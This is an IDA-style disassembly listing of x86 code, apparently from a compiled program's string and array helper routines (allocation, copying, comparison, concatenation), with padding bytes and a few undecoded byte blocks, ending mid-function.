loc_409635: ; CODE XREF: sub_409600+31j
mov ecx, esi
call sub_401974
mov ebx, eax
push 0
add ebx, ebp
mov ecx, esi
push ebx
call sub_401CAD
; ---------------------------------------------------------------------------
mov edx, [esp+10h+arg_0]
mov ebp, eax
mov eax, [esi+4]
push ebp
push edx
push eax
mov ecx, esi
call sub_4016D6
mov ecx, [esp+10h+arg_8]
mov [esp+10h+arg_4], eax
push ecx
push edi
push eax
mov ecx, esi
call sub_401177
mov edx, [esp+10h+arg_4]
mov ecx, [esi+8]
lea eax, [edx+edi*4]
mov edx, [esp+10h+arg_0]
push eax
push ecx
push edx
mov ecx, esi
call sub_4016D6
mov eax, [esi+8]
mov ecx, [esi+4]
push eax
push ecx
mov ecx, esi
call sub_40170D
mov eax, [esi+4]
mov edx, [esi+0Ch]
sub edx, eax
mov ecx, esi
sar edx, 2
push edx
push eax
call sub_401294
; ---------------------------------------------------------------------------
lea eax, [ebp+ebx*4+0]
mov ecx, esi
mov [esi+0Ch], eax
call sub_401974
add eax, edi
mov [esi+4], ebp
pop edi
lea ecx, [ebp+eax*4+0]
mov [esi+8], ecx
pop esi
pop ebp
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
loc_4096CB: ; CODE XREF: sub_409600+17j
mov ebx, [esp+10h+arg_0]
mov edx, eax
sub edx, ebx
sar edx, 2
cmp edx, edi
jnb short loc_409729
lea ebp, ds:0[edi*4]
lea ecx, [ebx+ebp]
push ecx
push eax
push ebx
mov ecx, esi
call sub_4016D6
mov eax, [esi+8]
mov edx, [esp+10h+arg_8]
mov ecx, eax
push edx
sub ecx, ebx
sar ecx, 2
sub edi, ecx
mov ecx, esi
push edi
push eax
call sub_401177
mov edx, [esp+10h+arg_8]
mov eax, [esi+8]
push edx
push eax
push ebx
call sub_401F96
mov eax, [esi+8]
add esp, 0Ch
add eax, ebp
mov [esi+8], eax
pop edi
pop esi
pop ebp
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
loc_409729: ; CODE XREF: sub_409600+D8j
test edi, edi
jbe short loc_409763
shl edi, 2
push eax
push eax
sub eax, edi
mov ecx, esi
push eax
call sub_4016D6
mov eax, [esi+8]
push eax
sub eax, edi
push eax
push ebx
call sub_401CCB
mov ecx, [esp+1Ch+arg_8]
lea edx, [edi+ebx]
push ecx
push edx
push ebx
call sub_401F96
mov eax, [esi+8]
add esp, 18h
add eax, edi
mov [esi+8], eax
loc_409763: ; CODE XREF: sub_409600+12Bj
pop edi
pop esi
pop ebp
pop ebx
retn 0Ch
sub_409600 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4097D0 proc near ; CODE XREF: sub_40170Dj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_4]
push esi
mov esi, [esp+8+arg_0]
push edi
cmp esi, ebx
mov edi, ecx
jz short loc_4097F0
loc_4097E1: ; CODE XREF: sub_4097D0+1Ej
push esi
mov ecx, edi
call sub_402072
add esi, 4
cmp esi, ebx
jnz short loc_4097E1
loc_4097F0: ; CODE XREF: sub_4097D0+Fj
pop edi
pop esi
pop ebx
retn 8
sub_4097D0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_409810 proc near ; CODE XREF: sub_401294j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_4367E2
sub_409810 endp
; ---------------------------------------------------------------------------
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409830 proc near ; CODE XREF: sub_402072j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call j_nullsub_7
pop ecx
retn 4
sub_409830 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409850 proc near ; CODE XREF: sub_4016D6j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push ebp
mov ebp, [esp+8+arg_4]
push esi
mov esi, [esp+0Ch+arg_0]
mov ebx, ecx
cmp esi, ebp
jz short loc_409882
push edi
mov edi, [esp+10h+arg_8]
loc_409866: ; CODE XREF: sub_409850+27j
push esi
push edi
mov ecx, ebx
call sub_4015AA
add esi, 4
add edi, 4
cmp esi, ebp
jnz short loc_409866
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
loc_409882: ; CODE XREF: sub_409850+Fj
mov eax, [esp+0Ch+arg_8]
pop esi
pop ebp
pop ebx
retn 0Ch
sub_409850 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4098A0 proc near ; CODE XREF: sub_401177j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebp
push edi
mov edi, [esp+8+arg_4]
mov ebp, ecx
test edi, edi
jbe short loc_4098C7
push ebx
mov ebx, [esp+0Ch+arg_8]
push esi
mov esi, [esp+10h+arg_0]
loc_4098B6: ; CODE XREF: sub_4098A0+23j
push ebx
push esi
mov ecx, ebp
call sub_4015AA
add esi, 4
dec edi
jnz short loc_4098B6
pop esi
pop ebx
loc_4098C7: ; CODE XREF: sub_4098A0+Aj
pop edi
pop ebp
retn 0Ch
sub_4098A0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4098E0 proc near ; CODE XREF: sub_401CADj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_40203B
sub_4098E0 endp
; ---------------------------------------------------------------------------
add esp, 8
retn 8
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409910 proc near ; CODE XREF: sub_4015AAj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_401145
add esp, 8
retn 8
sub_409910 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409940 proc near ; CODE XREF: sub_401F96j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
mov ecx, [esp+arg_4]
cmp eax, ecx
jz short locret_40995D
mov edx, [esp+arg_8]
push esi
loc_409951: ; CODE XREF: sub_409940+1Aj
mov esi, [edx]
mov [eax], esi
add eax, 4
cmp eax, ecx
jnz short loc_409951
pop esi
locret_40995D: ; CODE XREF: sub_409940+Aj
retn
sub_409940 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409970 proc near ; CODE XREF: sub_401CCBj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_0]
mov ecx, [esp+arg_4]
cmp edx, ecx
jz short loc_409992
mov eax, [esp+arg_8]
push esi
loc_409981: ; CODE XREF: sub_409970+1Ej
mov esi, [ecx-4]
sub ecx, 4
sub eax, 4
cmp ecx, edx
mov [eax], esi
jnz short loc_409981
pop esi
retn
; ---------------------------------------------------------------------------
loc_409992: ; CODE XREF: sub_409970+Aj
mov eax, [esp+arg_8]
retn
sub_409970 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_7. PRESS KEYPAD "+" TO EXPAND]
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4099D0 proc near ; CODE XREF: sub_40203Bj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jge short loc_4099DA
xor eax, eax
loc_4099DA: ; CODE XREF: sub_4099D0+6j
shl eax, 2
push eax
call sub_4367FA
sub_4099D0 endp
; ---------------------------------------------------------------------------
add esp, 4
retn
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409A00 proc near ; CODE XREF: sub_401145j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push eax
push 4
call sub_4011CC
add esp, 8
test eax, eax
jz short locret_409A1B
mov ecx, [esp+arg_4]
mov edx, [ecx]
mov [eax], edx
locret_409A1B: ; CODE XREF: sub_409A00+11j
retn
sub_409A00 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409A30 proc near ; CODE XREF: sub_401979j
arg_0 = dword ptr 4
mov al, byte_44719A
push esi
test al, al
mov esi, ecx
jz short loc_409A66
push edi
call near ptr 283184Ah
nop
mov edi, dword_50F8C4
push 0FFFFFFF5h
call edi ; dword_50F8C4
push 0FFFFFFF4h
mov [esi], eax
call edi ; dword_50F8C4
mov [esi+4], eax
mov eax, [esp+8+arg_0]
mov byte ptr [esi+8], 1
mov [esi+9], eax
pop edi
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_409A66: ; CODE XREF: sub_409A30+Aj
mov ecx, [esp+4+arg_0]
mov byte ptr [esi+8], 1
mov [esi+9], ecx
pop esi
retn 4
sub_409A30 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409AA0 proc near ; CODE XREF: sub_401CDAj
mov al, byte_44719A
push esi
test al, al
mov esi, ecx
jz short loc_409ABF
nop
call near ptr 2831CECh
mov dword ptr [esi], 0FFFFFFFFh
mov dword ptr [esi+4], 0FFFFFFFFh
loc_409ABF: ; CODE XREF: sub_409AA0+Aj
mov byte ptr [esi+8], 0
pop esi
retn
sub_409AA0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409AE0 proc near ; CODE XREF: sub_401424j
mov eax, ecx
xor ecx, ecx
mov dword ptr [eax], offset off_43E010
mov [eax+9], ecx
mov [eax+11h], ecx
mov [eax+4], cl
mov [eax+0Dh], ecx
retn
sub_409AE0 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_409B10: ; CODE XREF: ___:00402063j
; ___:loc_402171j
push esi
mov esi, ecx
call sub_401226
test byte ptr [esp+8], 1
jz short loc_409B28
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_409B28: ; CODE XREF: ___:00409B1Dj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409B40 proc near ; CODE XREF: sub_401861j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push ebx
push esi
mov esi, ecx
xor ebx, ebx
push eax
mov dword ptr [esi], offset off_43E010
mov [esi+9], ebx
mov [esi+11h], ebx
call sub_4015D7
mov [esi+4], bl
mov [esi+0Dh], ebx
mov eax, esi
pop esi
pop ebx
retn 4
sub_409B40 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409B80 proc near ; CODE XREF: sub_4014C9j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push ebx
push esi
mov esi, ecx
xor ebx, ebx
push eax
mov dword ptr [esi], offset off_43E010
mov [esi+9], ebx
mov [esi+11h], ebx
call sub_401FBE
mov [esi+4], bl
mov [esi+0Dh], ebx
mov eax, esi
pop esi
pop ebx
retn 4
sub_409B80 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409BC0 proc near ; CODE XREF: sub_4020F4j
var_10 = byte ptr -10h
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
sub esp, 10h
push ebx
push esi
mov esi, ecx
push eax
lea ecx, [esp+1Ch+var_10]
push offset dword_4437F4
push ecx
mov dword ptr [esi], offset off_43E010
call sub_5EDAB2
nop
add esp, 0Ch
lea edx, [esp+18h+var_10]
xor ebx, ebx
mov ecx, esi
push edx
mov [esi+9], ebx
mov [esi+11h], ebx
call sub_4015D7
mov [esi+4], bl
mov [esi+0Dh], ebx
mov eax, esi
pop esi
pop ebx
add esp, 10h
retn 4
sub_409BC0 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409C30 proc near ; CODE XREF: sub_401226j
push esi
mov esi, ecx
push edi
xor edi, edi
mov eax, [esi+9]
mov dword ptr [esi], offset off_43E010
cmp eax, edi
jz short loc_409C4C
push eax
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_409C4C: ; CODE XREF: sub_409C30+11j
mov eax, [esi+0Dh]
mov [esi+9], edi
cmp eax, edi
jz short loc_409C5F
push eax
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_409C5F: ; CODE XREF: sub_409C30+24j
mov [esi+0Dh], edi
mov [esi+11h], edi
pop edi
pop esi
retn
sub_409C30 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409C80 proc near ; CODE XREF: sub_4015D7j
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
mov edi, [esp+10h+arg_0]
mov esi, ecx
test edi, edi
jz short loc_409CEA
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
mov eax, [esi+9]
not ecx
dec ecx
test eax, eax
mov ebp, ecx
jz short loc_409CAA
push eax
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_409CAA: ; CODE XREF: sub_409C80+1Fj
lea ebx, [ebp+2]
push ebx
call sub_4367FA
; ---------------------------------------------------------------------------
db 8Bh
dd 4C483F8h, 7E89FF85h, 8B2B7409h, 8BC033CBh, 116E89D1h
dd 0F302E9C1h, 83CA8BABh, 0AAF303E1h, 8B11468Bh, 8B14244Ch
dd 51500956h, 0DDAAE852h, 83907783h
db 0C4h, 0Ch
; ---------------------------------------------------------------------------
loc_409CEA: ; CODE XREF: sub_409C80+Cj
pop edi
pop esi
pop ebp
pop ebx
retn 4
sub_409C80 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409D20 proc near ; CODE XREF: sub_401FBEj
arg_0 = dword ptr 4
push esi
mov esi, ecx
mov ecx, [esp+4+arg_0]
call sub_401389
push eax
mov ecx, esi
call sub_4015D7
pop esi
retn 4
sub_409D20 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_409D50: ; CODE XREF: ___:00401A46j
mov eax, [esp+4]
sub esp, 10h
push esi
mov esi, ecx
push eax
lea ecx, [esp+8]
push offset dword_4437F4
push ecx
call sub_5EDAB2
nop
add esp, 0Ch
lea edx, [esp+4]
mov ecx, esi
push edx
call sub_4015D7
pop esi
add esp, 10h
retn 4
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409DA0 proc near ; CODE XREF: sub_401A9Bj
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
mov edi, [esp+10h+arg_0]
mov ebx, ecx
test edi, edi
jz loc_409E32
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
mov edi, [ebx+11h]
not ecx
dec ecx
mov esi, ecx
add esi, edi
lea eax, [esi+1]
push eax
call sub_4367FA
; ---------------------------------------------------------------------------
mov edi, [ebx+9]
add esp, 4
test edi, edi
mov ebp, eax
jz short loc_409E32
or ecx, 0FFFFFFFFh
xor eax, eax
mov [ebx+11h], esi
repne scasb
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, ebp
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov edi, [esp+10h+arg_0]
or ecx, 0FFFFFFFFh
repne scasb
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, ebp
or ecx, 0FFFFFFFFh
repne scasb
mov ecx, edx
dec edi
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov eax, [ebx+9]
test eax, eax
jz short loc_409E2F
push eax
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_409E2F: ; CODE XREF: sub_409DA0+84j
mov [ebx+9], ebp
loc_409E32: ; CODE XREF: sub_409DA0+Cj
; sub_409DA0+36j
pop edi
pop esi
pop ebp
pop ebx
retn 4
sub_409DA0 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409E70 proc near ; CODE XREF: sub_4016BDj
arg_0 = dword ptr 4
push esi
mov esi, ecx
mov ecx, [esp+4+arg_0]
call sub_401389
push eax
mov ecx, esi
call sub_401A9B
pop esi
retn 4
sub_409E70 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409EA0 proc near ; CODE XREF: sub_401140j
var_10 = byte ptr -10h
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
sub esp, 10h
push esi
mov esi, ecx
push eax
lea ecx, [esp+18h+var_10]
push offset dword_4437F4
push ecx
nop
call sub_5EDAB2
add esp, 0Ch
lea edx, [esp+14h+var_10]
mov ecx, esi
push edx
call sub_401A9B
pop esi
add esp, 10h
retn 4
sub_409EA0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409EF0 proc near ; CODE XREF: sub_4012EEj
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jnz short loc_409F07
mov edx, [ecx+9]
xor eax, eax
test edx, edx
setnz al
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_409F07: ; CODE XREF: sub_409EF0+7j
mov eax, [ecx+9]
push ebx
loc_409F0B: ; CODE XREF: sub_409EF0+3Dj
mov dl, [eax]
mov bl, [esi]
mov cl, dl
cmp dl, bl
jnz short loc_409F36
test cl, cl
jz short loc_409F2F
mov dl, [eax+1]
mov bl, [esi+1]
mov cl, dl
cmp dl, bl
jnz short loc_409F36
add eax, 2
add esi, 2
test cl, cl
jnz short loc_409F0B
loc_409F2F: ; CODE XREF: sub_409EF0+27j
pop ebx
xor eax, eax
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_409F36: ; CODE XREF: sub_409EF0+23j
; sub_409EF0+33j
sbb eax, eax
pop ebx
sbb eax, 0FFFFFFFFh
pop esi
retn 4
sub_409EF0 endp
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409F60 proc near ; CODE XREF: sub_401B72j
arg_0 = dword ptr 4
push esi
mov esi, ecx
mov ecx, [esp+4+arg_0]
call sub_401389
push eax
mov ecx, esi
call sub_4012EE
pop esi
retn 4
sub_409F60 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409F90 proc near ; CODE XREF: sub_401500j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jnz short loc_409FA3
mov edx, [ecx+9]
test edx, edx
setnz al
retn 4
; ---------------------------------------------------------------------------
loc_409FA3: ; CODE XREF: sub_409F90+6j
push eax
mov eax, [ecx+9]
push eax
nop
call near ptr 77C4624Eh
add esp, 8
retn 4
sub_409F90 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409FD0 proc near ; CODE XREF: sub_4021ADj
arg_0 = dword ptr 4
push esi
mov esi, ecx
mov ecx, [esp+4+arg_0]
call sub_401389
push eax
mov ecx, esi
call sub_4012EE
pop esi
retn 4
sub_409FD0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A000 proc near ; CODE XREF: sub_401CBCj
push esi
mov esi, ecx
mov eax, [esi+9]
test eax, eax
jz short loc_40A013
push eax
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_40A013: ; CODE XREF: sub_40A000+8j
mov dword ptr [esi+9], 0
pop esi
retn
sub_40A000 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A030 proc near ; CODE XREF: sub_40102Dj
arg_2000 = dword ptr 2004h
arg_2004 = dword ptr 2008h
arg_2008 = byte ptr 200Ch
mov eax, 2000h
call sub_436840
mov eax, [esp+arg_2004]
test eax, eax
jz short loc_40A072
lea ecx, [esp+arg_2008]
lea edx, [esp+0]
push ecx
push eax
push 2000h
push edx
nop
call near ptr 77C3FF8Ah
mov ecx, [esp+10h+arg_2000]
add esp, 10h
lea eax, [esp+0]
push eax
call sub_4015D7
loc_40A072: ; CODE XREF: sub_40A030+13j
add esp, 2000h
retn
sub_40A030 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A0A0 proc near ; CODE XREF: sub_401D20j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_401316
retn 4
sub_40A0A0 endp
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A0C0 proc near ; CODE XREF: sub_401316j
arg_0 = byte ptr 4
push ebx
mov ebx, dword_50FAE0
push esi
push edi
movsx edi, [esp+0Ch+arg_0]
mov esi, ecx
push edi
mov eax, [esi+9]
push eax
call ebx ; dword_50FAE0
add esp, 8
test eax, eax
jnz short loc_40A0E4
pop edi
pop esi
pop ebx
retn 8
; ---------------------------------------------------------------------------
loc_40A0E4: ; CODE XREF: sub_40A0C0+1Cj
mov ecx, [esi+9]
push edi
push ecx
call ebx ; dword_50FAE0
mov edi, [esi+9]
add esp, 8
mov edx, 1
sub edx, edi
pop edi
pop esi
add eax, edx
pop ebx
retn 8
sub_40A0C0 endp
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A110 proc near ; CODE XREF: sub_4018A2j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_401807
retn 4
sub_40A110 endp
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A130 proc near ; CODE XREF: sub_401807j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push esi
mov esi, ecx
push eax
mov ecx, [esp+8+arg_0]
call sub_401389
push eax
mov ecx, esi
call sub_402117
pop esi
retn 8
sub_40A130 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A160 proc near ; CODE XREF: sub_4013E3j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_402117
retn 4
sub_40A160 endp
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A180 proc near ; CODE XREF: sub_402117j
arg_0 = dword ptr 4
push ebx
push esi
push edi
mov edi, [esp+0Ch+arg_0]
test edi, edi
mov esi, ecx
jnz short loc_40A195
pop edi
pop esi
xor eax, eax
pop ebx
retn 8
; ---------------------------------------------------------------------------
loc_40A195: ; CODE XREF: sub_40A180+Bj
mov eax, [esi+9]
mov ebx, dword_50FAF8
push edi
push eax
call ebx ; dword_50FAF8
add esp, 8
test eax, eax
jnz short loc_40A1AF
pop edi
pop esi
pop ebx
retn 8
; ---------------------------------------------------------------------------
loc_40A1AF: ; CODE XREF: sub_40A180+27j
mov ecx, [esi+9]
push edi
push ecx
call ebx ; dword_50FAF8
mov edi, [esi+9]
add esp, 8
mov edx, 1
sub edx, edi
pop edi
pop esi
add eax, edx
pop ebx
retn 8
sub_40A180 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A1F0 proc near ; CODE XREF: sub_401C5Dj
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
test edi, edi
jnz short loc_40A203
pop edi
xor eax, eax
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_40A203: ; CODE XREF: sub_40A1F0+Aj
mov eax, [esi+9]
mov [esi+11h], edi
test eax, eax
jz short loc_40A216
push eax
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_40A216: ; CODE XREF: sub_40A1F0+1Bj
push ebx
lea ebx, [edi+1]
push ebx
call sub_4367FA
sub_40A1F0 endp
; ---------------------------------------------------------------------------
mov ecx, ebx
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov [esi+9], edi
add esp, 4
rep stosd
mov ecx, edx
pop ebx
and ecx, 3
rep stosb
mov eax, [esi+9]
pop edi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A270 proc near ; CODE XREF: sub_4013D9j
mov eax, [ecx+11h]
retn
sub_40A270 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A290 proc near ; CODE XREF: sub_4012B2j
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_8 = dword ptr 0Ch
push 0FFFFFFFFh
push offset SEH_40A290
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 20h
push ebp
mov ebp, [esp+30h+arg_8]
push esi
xor esi, esi
cmp ebp, 1
mov [esp+34h+var_2C], ecx
mov [esp+34h+var_28], esi
jge short loc_40A2E2
mov esi, [esp+34h+arg_0]
push offset byte_446F70
mov ecx, esi
call sub_401861
mov eax, esi
pop esi
pop ebp
mov ecx, [esp+2Ch+var_C]
mov large fs:0, ecx
add esp, 2Ch
retn 0Ch
; ---------------------------------------------------------------------------
loc_40A2E2: ; CODE XREF: sub_40A290+2Bj
push ebx
push edi
lea ecx, [esp+3Ch+var_24]
call sub_401424
mov [esp+3Ch+var_4], esi
lea esi, [ebp+1]
push esi
call sub_4367FA
sub_40A290 endp
; ---------------------------------------------------------------------------
mov ecx, esi
mov ebx, eax
mov edx, ecx
xor eax, eax
mov edi, ebx
add esp, 4
shr ecx, 2
rep stosd
mov ecx, edx
mov edx, [esp+44h]
and ecx, 3
push ebx
rep stosb
mov eax, [esp+14h]
mov ecx, ebp
mov edi, ebx
mov esi, [eax+9]
add esi, edx
mov edx, ecx
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
lea ecx, [esp+1Ch]
call sub_4015D7
push ebx
call sub_4367E2
; ---------------------------------------------------------------------------
mov esi, [esp+44h]
add esp, 4
lea eax, [esp+18h]
mov ecx, esi
push eax
call sub_4014C9
lea ecx, [esp+18h]
call sub_401226
mov ecx, [esp+30h]
pop edi
mov eax, esi
pop ebx
pop esi
pop ebp
mov large fs:0, ecx
add esp, 2Ch
retn 0Ch
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A3C0 proc near ; CODE XREF: sub_401E2Ej
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ecx
push esi
push edi
mov esi, ecx
mov [esp+0Ch+var_4], 0
call sub_4013D9
mov ecx, [esp+0Ch+arg_4]
mov edi, [esp+0Ch+arg_0]
sub eax, ecx
push eax
push ecx
push edi
mov ecx, esi
call sub_4012B2
mov eax, edi
pop edi
pop esi
pop ecx
retn 8
sub_40A3C0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40A400: ; CODE XREF: ___:0040193Dj
push ecx
push esi
mov esi, [esp+0Ch]
push 1
mov ecx, esi
mov dword ptr [esp+8], 0
call sub_4020F4
mov eax, esi
pop esi
pop ecx
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A430 proc near ; CODE XREF: sub_4011EAj
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = byte ptr -34h
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 0FFFFFFFFh
push offset SEH_40A430
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push edi
mov edi, [esp+44h+arg_8]
mov esi, ecx
test edi, edi
mov [esp+44h+var_38], 0
jnz short loc_40A471
mov esi, [esp+44h+arg_0]
push offset byte_446F70
mov ecx, esi
call sub_401861
jmp loc_40A5A4
; ---------------------------------------------------------------------------
loc_40A471: ; CODE XREF: sub_40A430+2Aj
lea eax, [esp+44h+arg_8]
lea ecx, [esp+44h+var_34]
push eax
call sub_401690
mov ecx, [esi+9]
mov [esp+44h+var_4], 1
push ecx
lea ecx, [esp+48h+var_24]
call sub_401861
lea ecx, [esp+44h+var_24]
